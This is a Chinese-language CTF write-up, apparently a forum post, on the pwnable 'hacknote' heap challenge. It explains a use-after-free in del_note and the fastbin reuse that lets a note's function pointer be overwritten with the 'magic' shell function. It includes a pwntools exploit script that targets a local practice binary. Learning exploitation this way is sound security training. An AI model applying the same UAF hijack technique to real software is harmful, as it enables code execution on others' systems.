-
-
[原创]Pwn堆利用学习—— Use-After-Free——pwnable_hacknote
-
2020-11-30 21:55
8308
-
[原创]Pwn堆利用学习—— Use-After-Free——pwnable_hacknote
pwnable_hacknote
步骤一:运行查看
步骤二:查看文件类型和保护机制
步骤三:IDA反编译分析
- del_note函数:free之后没有置为NULL,存在UAF漏洞。
gdb确认(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])(notelist[v2])
是哪个函数的方法:
- 选中第一个notelist[2],按tab键,切换到汇编代码,分析得知对应调用函数的指令是call eax,拷贝地址;
- 然后在gdb中下断点,先r运行,输入1创建一个note;
- 然后输入3,进行打印,运行到断点处,si单步调试,进入函数,看到这个调用的函数就是print_note_content函数。
- 这题没有明显看到函数中有shell函数,那么我们就在IDA中搜索一下,Shift+F12,看到/bin/sh字符串,双击进去,然后交叉引用,看到magic函数
步骤四:调试和思路
1 2 3 4 | struct note{
void * ptr = print_note_content;
char * content;
}
|
当然note-content chunk大小是0x18,还有8个字节我在图中没有打印出来。
思路:
还记得print_note函数里的(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])(notelist[v2])
,现在就可以理解了:(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])
就是note结构体中的第一个条目,即print_note_content函数。
那么由于有UAF漏洞,我们就要想办法去把堆中这个函数的地址0x80485fb给改掉,改成magic函数的地址,然后再去调用print_note函数,那么就会调用结构体里的print_note_content函数,当然现在变成了magic函数,就能getshell了!
怎么去改呢?
想想我们的输入,能输入content,也就是说我们能直接控制输入的note-content chunk的内容,不能直接控制note chunk的内容。
还有一点,这个大小的chunk free之后是放入fastbin中,先进先出。
所以,我们可以想办法先malloc出两个note chunk,然后再依次free,接着再调用add_note()函数的话,先free的这个 note chunk(即第一个note chunk)就会变成 note-content chunk 了,我们能控制最后一次malloc的note-content chunk,让输入的content为magic函数的地址,那么就让第一个note chunk中print_note_content的地址变为了magic的地址!
最后调用print_note,输入index为0,那么就getshell了!
调试:
步骤五:Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | from pwn import *
context.log_level = 'debug'
p = process( './hacknote' )
elf = ELF( './hacknote' )
def add(size,content = 'aaaa' ):
p.sendlineafter( ':' , '1' )
p.sendlineafter( ':' , str (size))
p.sendlineafter( ':' ,content)
def delete(index):
p.sendlineafter( ':' , '2' )
p.sendlineafter( ':' , str (index))
def show(index):
p.sendlineafter( ':' , '3' )
p.sendlineafter( ':' , str (index))
sh = p32(elf.sym[ 'magic' ])
add( 0x10 )
add( 0x10 )
delete( 0 )
delete( 1 )
add( 0x8 ,sh)
show( 0 )
def dbg():
gdb.attach(p)
pause()
p.interactive()
|
参考文献
- ctf-wiki
- https://www.bilibili.com/video/BV1iE411H7cZ
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2020-11-30 22:28
被ztree编辑
,原因: